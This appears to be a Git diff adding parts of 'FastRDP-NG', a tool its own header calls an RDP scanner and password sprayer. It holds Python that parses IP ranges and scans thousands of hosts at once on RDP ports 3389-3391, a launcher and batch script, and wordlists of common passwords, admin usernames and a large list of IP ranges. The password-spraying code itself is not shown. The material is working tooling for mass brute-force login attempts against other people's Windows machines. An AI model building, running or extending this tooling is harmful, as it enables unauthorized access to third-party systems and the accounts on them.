|
||||||
|
|
||||||
|
IP_RANGE_RE = re.compile(
|
||||||
|
r'^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*-\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$'
|
||||||
|
)
|
||||||
|
SINGLE_IP_RE = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$')
|
||||||
|
|
||||||
|
|
||||||
|
def parse_line(line: str) -> Generator[str, None, None]:
|
||||||
|
"""Parse a single line: single IP, dash range, CIDR."""
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith('#') or line.startswith('//'):
|
||||||
|
return
|
||||||
|
|
||||||
|
# CIDR: 192.168.1.0/24
|
||||||
|
if '/' in line:
|
||||||
|
try:
|
||||||
|
network = ipaddress.IPv4Network(line, strict=False)
|
||||||
|
for host in network.hosts():
|
||||||
|
yield str(host)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
|
||||||
|
# Dash range: 192.168.1.1-192.168.1.255
|
||||||
|
match = IP_RANGE_RE.match(line)
|
||||||
|
if match:
|
||||||
|
try:
|
||||||
|
start = int(ipaddress.IPv4Address(match.group(1)))
|
||||||
|
end = int(ipaddress.IPv4Address(match.group(2)))
|
||||||
|
if start > end:
|
||||||
|
start, end = end, start
|
||||||
|
# Cap at /16 to prevent memory bombs
|
||||||
|
if end - start > 65536:
|
||||||
|
end = start + 65536
|
||||||
|
for ip_int in range(start, end + 1):
|
||||||
|
yield str(ipaddress.IPv4Address(ip_int))
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
|
||||||
|
# Single IP
|
||||||
|
if SINGLE_IP_RE.match(line):
|
||||||
|
yield line
|
||||||
|
|
||||||
|
|
||||||
|
def parse_ranges_file(filepath: str) -> Generator[str, None, None]:
|
||||||
|
"""Parse ranges.txt, yield individual IPs lazily."""
|
||||||
|
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
for line in f:
|
||||||
|
yield from parse_line(line)
|
||||||
|
|
||||||
|
|
||||||
|
def count_ips(filepath: str) -> int:
|
||||||
|
"""Quick count of total IPs for progress tracking."""
|
||||||
|
total = 0
|
||||||
|
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
for line in f:
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith('#') or line.startswith('//'):
|
||||||
|
continue
|
||||||
|
if '/' in line:
|
||||||
|
try:
|
||||||
|
n = ipaddress.IPv4Network(line, strict=False)
|
||||||
|
total += max(0, n.num_addresses - 2)
|
||||||
|
except ValueError:
|
||||||
|
total += 1
|
||||||
|
elif IP_RANGE_RE.match(line):
|
||||||
|
m = IP_RANGE_RE.match(line)
|
||||||
|
if m is None:
|
||||||
|
total += 1
|
||||||
|
continue
|
||||||
|
s = int(ipaddress.IPv4Address(m.group(1)))
|
||||||
|
e = int(ipaddress.IPv4Address(m.group(2)))
|
||||||
|
if s > e:
|
||||||
|
s, e = e, s
|
||||||
|
total += min(e - s + 1, 65536)
|
||||||
|
elif SINGLE_IP_RE.match(line):
|
||||||
|
total += 1
|
||||||
|
return total
|
||||||
50
main.py
Normal file
50
main.py
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
FastRDP-NG v2.0 - Next Generation RDP Scanner & Password Sprayer
|
||||||
|
===============================================================
|
||||||
|
Blazing-fast async RDP scanner with Windows GUI.
|
||||||
|
Scans thousands of IPs per second, finds live RDP hosts,
|
||||||
|
then sprays top 50 common passwords.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python main.py # Launch GUI
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
|
||||||
|
# Force UTF-8 encoding to handle Unicode box-drawing characters in banner
|
||||||
|
try:
|
||||||
|
# Python 3.7+ on Windows: reconfigure stdout to UTF-8
|
||||||
|
sys.stdout.reconfigure(encoding='utf-8')
|
||||||
|
except (AttributeError, ValueError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Add project dir to path
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from gui import FastRDPGUI
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print("""
|
||||||
|
╔══════════════════════════════════════════╗
|
||||||
|
║ FastRDP-NG v2.0 ║
|
||||||
|
║ Next-Gen RDP Scanner & Password Sprayer ║
|
||||||
|
╚══════════════════════════════════════════╝
|
||||||
|
""")
|
||||||
|
|
||||||
|
# Check if tkinter is available
|
||||||
|
try:
|
||||||
|
import tkinter
|
||||||
|
except ImportError:
|
||||||
|
print("[!] ERROR: tkinter not found! GUI mode requires tkinter.")
|
||||||
|
print(" On Windows, reinstall Python with 'tcl/tk and IDLE' checked.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
app = FastRDPGUI()
|
||||||
|
app.run()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
3
requirements.txt
Normal file
3
requirements.txt
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
# FastRDP-NG - zero dependencies needed for core
|
||||||
|
# Optional pretty terminal output:
|
||||||
|
# colorama>=0.4.6
|
||||||
21
run.bat
Normal file
21
run.bat
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
@echo off
|
||||||
|
title FastRDP-NG v2.0
|
||||||
|
cd /d "%~dp0"
|
||||||
|
|
||||||
|
:: Force UTF-8 encoding for Unicode box-drawing characters in banner
|
||||||
|
set PYTHONIOENCODING=utf-8
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ╔══════════════════════════════════════════╗
|
||||||
|
echo ║ FastRDP-NG v2.0 ║
|
||||||
|
echo ║ Launching GUI... ║
|
||||||
|
echo ╚══════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
python main.py
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo.
|
||||||
|
echo [!] Python not found or error occurred.
|
||||||
|
echo [!] Make sure Python 3.8+ is installed and in PATH.
|
||||||
|
echo [!] Download: https://python.org/downloads
|
||||||
|
pause
|
||||||
|
)
|
||||||
141
scanner.py
Normal file
141
scanner.py
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
"""
|
||||||
|
FastRDP-NG: Blazing-fast async RDP scanner.
|
||||||
|
Connects to thousands of IPs concurrently to find live RDP hosts.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
from typing import Set, Tuple, List
|
||||||
|
|
||||||
|
logger = logging.getLogger("FastRDP-NG")
|
||||||
|
|
||||||
|
# RDP ports to scan
|
||||||
|
RDP_PORTS = [3389, 3390, 3391]
|
||||||
|
|
||||||
|
# First 3 bytes of an RDP Negotiation Response (T.125)
|
||||||
|
# Actual RDP servers respond with 0x03 (TPKT version 3)
|
||||||
|
RDP_BANNER_SIG = b'\x03\x00'
|
||||||
|
|
||||||
|
|
||||||
|
async def check_rdp_port(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
timeout: float = 2.0
|
||||||
|
) -> Tuple[str, int, bool]:
|
||||||
|
"""
|
||||||
|
Rapid async TCP connect check.
|
||||||
|
Returns (ip, port, is_open).
|
||||||
|
No banner reading - pure connection speed.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
_, writer = await asyncio.wait_for(
|
||||||
|
asyncio.open_connection(ip, port),
|
||||||
|
timeout=timeout
|
||||||
|
)
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
return (ip, port, True)
|
||||||
|
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||||
|
OSError, ConnectionError):
|
||||||
|
return (ip, port, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def check_rdp_with_banner(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
connect_timeout: float = 2.0,
|
||||||
|
banner_timeout: float = 1.0
|
||||||
|
) -> Tuple[str, int, bool]:
|
||||||
|
"""
|
||||||
|
Connect + read initial bytes to confirm it's actually RDP.
|
||||||
|
Slower but more accurate - catches non-RDP services on 3389.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
reader, writer = await asyncio.wait_for(
|
||||||
|
asyncio.open_connection(ip, port),
|
||||||
|
timeout=connect_timeout
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
data = await asyncio.wait_for(
|
||||||
|
reader.read(4),
|
||||||
|
timeout=banner_timeout
|
||||||
|
)
|
||||||
|
is_rdp = data[:2] == RDP_BANNER_SIG # TPKT header
|
||||||
|
return (ip, port, is_rdp)
|
||||||
|
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||||
|
# Connected but no banner = port open but not RDP
|
||||||
|
return (ip, port, False)
|
||||||
|
finally:
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||||
|
OSError, ConnectionError):
|
||||||
|
return (ip, port, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def scan_ips(
|
||||||
|
ips: List[str],
|
||||||
|
ports: List[int] = None, # type: ignore
|
||||||
|
max_concurrent: int = 5000,
|
||||||
|
connect_timeout: float = 2.0,
|
||||||
|
banner_check: bool = False,
|
||||||
|
progress_callback=None,
|
||||||
|
live_callback=None
|
||||||
|
) -> Set[Tuple[str, int]]:
|
||||||
|
"""
|
||||||
|
Scan a list of IPs across given ports as fast as possible.
|
||||||
|
Uses asyncio semaphore to control concurrency.
|
||||||
|
|
||||||
|
- progress_callback(checked, total, live_count, rate): called periodically
|
||||||
|
- live_callback(ip, port): called IMMEDIATELY when a live host is found
|
||||||
|
|
||||||
|
Returns set of (ip, port) tuples for live RDP hosts.
|
||||||
|
"""
|
||||||
|
if ports is None:
|
||||||
|
ports = RDP_PORTS
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
live_hosts: Set[Tuple[str, int]] = set()
|
||||||
|
checked = 0
|
||||||
|
total = len(ips) * len(ports)
|
||||||
|
start_time = time.time()
|
||||||
|
|
||||||
|
checker = check_rdp_with_banner if banner_check else check_rdp_port
|
||||||
|
|
||||||
|
async def check_one(ip: str, port: int):
|
||||||
|
nonlocal checked
|
||||||
|
async with sem:
|
||||||
|
_, p, alive = await checker(ip, port, connect_timeout)
|
||||||
|
if alive:
|
||||||
|
live_hosts.add((ip, p))
|
||||||
|
# Notify immediately — spray can start right away
|
||||||
|
if live_callback:
|
||||||
|
live_callback(ip, p)
|
||||||
|
checked += 1
|
||||||
|
if progress_callback and checked % 1000 == 0:
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = checked / elapsed if elapsed > 0 else 0
|
||||||
|
progress_callback(checked, total, len(live_hosts), rate)
|
||||||
|
|
||||||
|
# Fire all tasks concurrently
|
||||||
|
tasks = []
|
||||||
|
for ip in ips:
|
||||||
|
for port in ports:
|
||||||
|
tasks.append(asyncio.create_task(check_one(ip, port)))
|
||||||
|
|
||||||
|
# Run in batches to avoid memory issues with massive task lists
|
||||||
|
batch_size = 50000
|
||||||
|
for i in range(0, len(tasks), batch_size):
|
||||||
|
batch = tasks[i:i + batch_size]
|
||||||
|
if batch:
|
||||||
|
await asyncio.gather(*batch, return_exceptions=True)
|
||||||
|
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = checked / elapsed if elapsed > 0 else 0
|
||||||
|
logger.info(
|
||||||
|
f"Scan complete: {len(live_hosts)} live hosts from {checked} checks "
|
||||||
|
f"in {elapsed:.1f}s ({rate:.0f} checks/sec)"
|
||||||
|
)
|
||||||
|
|
||||||
|
return live_hosts
|
||||||
415
wordlists/passwords.txt
Normal file
415
wordlists/passwords.txt
Normal file
@@ -0,0 +1,415 @@
|
|||||||
|
admin
|
||||||
|
Admin
|
||||||
|
password
|
||||||
|
Password
|
||||||
|
administrator
|
||||||
|
Administrator
|
||||||
|
p@ssw0rd
|
||||||
|
P@ssw0rd
|
||||||
|
passwor1
|
||||||
|
password
|
||||||
|
password!
|
||||||
|
password.
|
||||||
|
password00
|
||||||
|
password01
|
||||||
|
Password01!
|
||||||
|
password1
|
||||||
|
password101
|
||||||
|
password11
|
||||||
|
password12
|
||||||
|
PASSWORD123
|
||||||
|
password1234
|
||||||
|
password12345
|
||||||
|
password12345678
|
||||||
|
password123456789
|
||||||
|
password13
|
||||||
|
password2
|
||||||
|
password3
|
||||||
|
password5
|
||||||
|
password7
|
||||||
|
password77
|
||||||
|
password888
|
||||||
|
password9
|
||||||
|
password99
|
||||||
|
passwords
|
||||||
|
passwort
|
||||||
|
passwort123
|
||||||
|
911
|
||||||
|
qwerty
|
||||||
|
qweqwe
|
||||||
|
qweasd
|
||||||
|
qwezxc
|
||||||
|
qweasdzxc
|
||||||
|
qwertyuiop
|
||||||
|
asdfghjkl
|
||||||
|
zxcvbnm
|
||||||
|
1
|
||||||
|
12
|
||||||
|
123
|
||||||
|
1234
|
||||||
|
12345
|
||||||
|
123456
|
||||||
|
1234567
|
||||||
|
12345678
|
||||||
|
123456789
|
||||||
|
1234567890
|
||||||
|
0
|
||||||
|
01
|
||||||
|
012
|
||||||
|
0123
|
||||||
|
01234
|
||||||
|
012345
|
||||||
|
0123456
|
||||||
|
01234567
|
||||||
|
012345678
|
||||||
|
0123456789
|
||||||
|
9
|
||||||
|
98
|
||||||
|
987
|
||||||
|
9876
|
||||||
|
98765
|
||||||
|
987654
|
||||||
|
9876543
|
||||||
|
98765432
|
||||||
|
987654321
|
||||||
|
9876543210
|
||||||
|
10
|
||||||
|
210
|
||||||
|
3210
|
||||||
|
43210
|
||||||
|
543210
|
||||||
|
6543210
|
||||||
|
76543210
|
||||||
|
876543210
|
||||||
|
21
|
||||||
|
321
|
||||||
|
4321
|
||||||
|
54321
|
||||||
|
654321
|
||||||
|
7654321
|
||||||
|
87654321
|
||||||
|
987654321
|
||||||
|
00
|
||||||
|
000
|
||||||
|
0000
|
||||||
|
00000
|
||||||
|
000000
|
||||||
|
0000000
|
||||||
|
00000000
|
||||||
|
000000000
|
||||||
|
11
|
||||||
|
111
|
||||||
|
1111
|
||||||
|
11111
|
||||||
|
111111
|
||||||
|
1111111
|
||||||
|
11111111
|
||||||
|
111111111
|
||||||
|
2
|
||||||
|
22
|
||||||
|
222
|
||||||
|
2222
|
||||||
|
22222
|
||||||
|
222222
|
||||||
|
2222222
|
||||||
|
22222222
|
||||||
|
222222222
|
||||||
|
3
|
||||||
|
33
|
||||||
|
333
|
||||||
|
3333
|
||||||
|
33333
|
||||||
|
333333
|
||||||
|
3333333
|
||||||
|
33333333
|
||||||
|
333333333
|
||||||
|
4
|
||||||
|
44
|
||||||
|
444
|
||||||
|
4444
|
||||||
|
44444
|
||||||
|
444444
|
||||||
|
4444444
|
||||||
|
44444444
|
||||||
|
444444444
|
||||||
|
5
|
||||||
|
55
|
||||||
|
555
|
||||||
|
5555
|
||||||
|
55555
|
||||||
|
555555
|
||||||
|
5555555
|
||||||
|
55555555
|
||||||
|
555555555
|
||||||
|
6
|
||||||
|
66
|
||||||
|
666
|
||||||
|
6666
|
||||||
|
66666
|
||||||
|
666666
|
||||||
|
6666666
|
||||||
|
66666666
|
||||||
|
666666666
|
||||||
|
7
|
||||||
|
77
|
||||||
|
777
|
||||||
|
7777
|
||||||
|
77777
|
||||||
|
777777
|
||||||
|
7777777
|
||||||
|
77777777
|
||||||
|
777777777
|
||||||
|
8
|
||||||
|
88
|
||||||
|
888
|
||||||
|
8888
|
||||||
|
88888
|
||||||
|
888888
|
||||||
|
8888888
|
||||||
|
88888888
|
||||||
|
888888888
|
||||||
|
99
|
||||||
|
999
|
||||||
|
9999
|
||||||
|
99999
|
||||||
|
999999
|
||||||
|
9999999
|
||||||
|
99999999
|
||||||
|
999999999
|
||||||
|
P@ssw0rd
|
||||||
|
p@ss
|
||||||
|
p@ssw0rd
|
||||||
|
P@ss
|
||||||
|
P@$$w0rd
|
||||||
|
Passw0rd
|
||||||
|
passport
|
||||||
|
passw0rd
|
||||||
|
passw0rd1
|
||||||
|
passwd
|
||||||
|
passwor1
|
||||||
|
password
|
||||||
|
password!
|
||||||
|
password.
|
||||||
|
password00
|
||||||
|
password01
|
||||||
|
Password01!
|
||||||
|
password1
|
||||||
|
password101
|
||||||
|
password11
|
||||||
|
password12
|
||||||
|
PASSWORD123
|
||||||
|
password1234
|
||||||
|
password12345
|
||||||
|
password12345678
|
||||||
|
password123456789
|
||||||
|
password13
|
||||||
|
password2
|
||||||
|
password3
|
||||||
|
password5
|
||||||
|
password7
|
||||||
|
password77
|
||||||
|
password888
|
||||||
|
password9
|
||||||
|
password99
|
||||||
|
passwords
|
||||||
|
passwort
|
||||||
|
passwort123
|
||||||
|
admin1
|
||||||
|
admin12
|
||||||
|
admin123
|
||||||
|
admin123123
|
||||||
|
admin1234
|
||||||
|
administrador
|
||||||
|
administrator
|
||||||
|
Administrator1
|
||||||
|
Administrator12
|
||||||
|
Administrator123
|
||||||
|
Administrator1234
|
||||||
|
1
|
||||||
|
12
|
||||||
|
123
|
||||||
|
1234
|
||||||
|
4321
|
||||||
|
12345
|
||||||
|
54321
|
||||||
|
123123
|
||||||
|
123456
|
||||||
|
1234567
|
||||||
|
12341234
|
||||||
|
12345678
|
||||||
|
123456789
|
||||||
|
1234567890
|
||||||
|
123456789a
|
||||||
|
12345678a
|
||||||
|
1234567a
|
||||||
|
123456a
|
||||||
|
12345a
|
||||||
|
123abc
|
||||||
|
123asd
|
||||||
|
123qwerty
|
||||||
|
1q2w3e
|
||||||
|
1q2w3e4r
|
||||||
|
1q2w3e4r5
|
||||||
|
1q2w3e4r5t6y
|
||||||
|
1qaz2wsx
|
||||||
|
1qaz2wsx3edc
|
||||||
|
a12345
|
||||||
|
a123456
|
||||||
|
a1234567
|
||||||
|
a12345678
|
||||||
|
a123456789
|
||||||
|
a1b2c3
|
||||||
|
abc123
|
||||||
|
abcd
|
||||||
|
abcd123
|
||||||
|
abcde
|
||||||
|
abcde1
|
||||||
|
abcdef
|
||||||
|
access
|
||||||
|
alpha
|
||||||
|
alpha1
|
||||||
|
andrew
|
||||||
|
apple
|
||||||
|
asd123
|
||||||
|
asdfghjkl
|
||||||
|
ash123
|
||||||
|
asshole
|
||||||
|
auxiliar
|
||||||
|
avlmf
|
||||||
|
baseball
|
||||||
|
baseball1
|
||||||
|
batman1
|
||||||
|
bear
|
||||||
|
buster
|
||||||
|
byteme
|
||||||
|
c220
|
||||||
|
caixa
|
||||||
|
canada
|
||||||
|
canon
|
||||||
|
carmen
|
||||||
|
charly
|
||||||
|
chelsea
|
||||||
|
chicago
|
||||||
|
christian
|
||||||
|
compras
|
||||||
|
computer
|
||||||
|
Daniel
|
||||||
|
deadhead
|
||||||
|
default
|
||||||
|
disney
|
||||||
|
donald
|
||||||
|
drag0n
|
||||||
|
dragon
|
||||||
|
dreams
|
||||||
|
eagle
|
||||||
|
family
|
||||||
|
fax
|
||||||
|
financeiro
|
||||||
|
football1
|
||||||
|
go
|
||||||
|
goat
|
||||||
|
harley
|
||||||
|
hello
|
||||||
|
hockey
|
||||||
|
home
|
||||||
|
house
|
||||||
|
hunter
|
||||||
|
internet
|
||||||
|
jordan
|
||||||
|
jose
|
||||||
|
jupiter
|
||||||
|
killer
|
||||||
|
leagueoflegends1
|
||||||
|
letmein
|
||||||
|
londra
|
||||||
|
maddog
|
||||||
|
maggie
|
||||||
|
magic
|
||||||
|
manager
|
||||||
|
master
|
||||||
|
master1
|
||||||
|
matrix
|
||||||
|
me
|
||||||
|
michael
|
||||||
|
michelle
|
||||||
|
mickey
|
||||||
|
mike
|
||||||
|
mindy
|
||||||
|
money
|
||||||
|
monitor
|
||||||
|
mountain
|
||||||
|
mustang
|
||||||
|
nb
|
||||||
|
newpass
|
||||||
|
newyork
|
||||||
|
nothing
|
||||||
|
P@ssw0rd
|
||||||
|
p0kem0n
|
||||||
|
paris
|
||||||
|
pass
|
||||||
|
passpass
|
||||||
|
pat
|
||||||
|
patrick
|
||||||
|
pentium
|
||||||
|
pepper
|
||||||
|
phoenix
|
||||||
|
please
|
||||||
|
pokem0n
|
||||||
|
pokemon1
|
||||||
|
pokemon2
|
||||||
|
power
|
||||||
|
printer
|
||||||
|
prueba
|
||||||
|
q1w2e3r4
|
||||||
|
qwe123
|
||||||
|
qwerty
|
||||||
|
qwertyuiop
|
||||||
|
ranger
|
||||||
|
reality
|
||||||
|
reception
|
||||||
|
remote
|
||||||
|
remoto
|
||||||
|
robotech
|
||||||
|
rocky
|
||||||
|
sander
|
||||||
|
scanner
|
||||||
|
scans
|
||||||
|
scanuser
|
||||||
|
secret
|
||||||
|
security
|
||||||
|
server
|
||||||
|
service
|
||||||
|
servidor
|
||||||
|
shadow
|
||||||
|
shithead
|
||||||
|
singer
|
||||||
|
sistema
|
||||||
|
snoopy
|
||||||
|
spam
|
||||||
|
spiderman1
|
||||||
|
stupid
|
||||||
|
summer
|
||||||
|
superman1
|
||||||
|
support
|
||||||
|
system
|
||||||
|
tech
|
||||||
|
temp
|
||||||
|
tennis
|
||||||
|
test
|
||||||
|
test123
|
||||||
|
teste
|
||||||
|
tigger
|
||||||
|
topgun
|
||||||
|
trustno1
|
||||||
|
user
|
||||||
|
usuario
|
||||||
|
usuario1
|
||||||
|
usuario2
|
||||||
|
welcome
|
||||||
|
xsw21qaz
|
||||||
|
xsw2zaq1
|
||||||
|
xxx
|
||||||
|
ytrewq
|
||||||
|
zaq12wsx
|
||||||
|
zxasqw12
|
||||||
|
zxcvbnm
|
||||||
3
wordlists/ports.txt
Normal file
3
wordlists/ports.txt
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
3389
|
||||||
|
3390
|
||||||
|
3391
|
||||||
28802
wordlists/ranges.txt
Normal file
28802
wordlists/ranges.txt
Normal file
File diff suppressed because it is too large
Load Diff
5
wordlists/users.txt
Normal file
5
wordlists/users.txt
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
Administrator
|
||||||
|
Admin
|
||||||
|
User
|
||||||
|
User1
|
||||||
|
GhostUser
|
||||||
Reference in New Issue
Block a user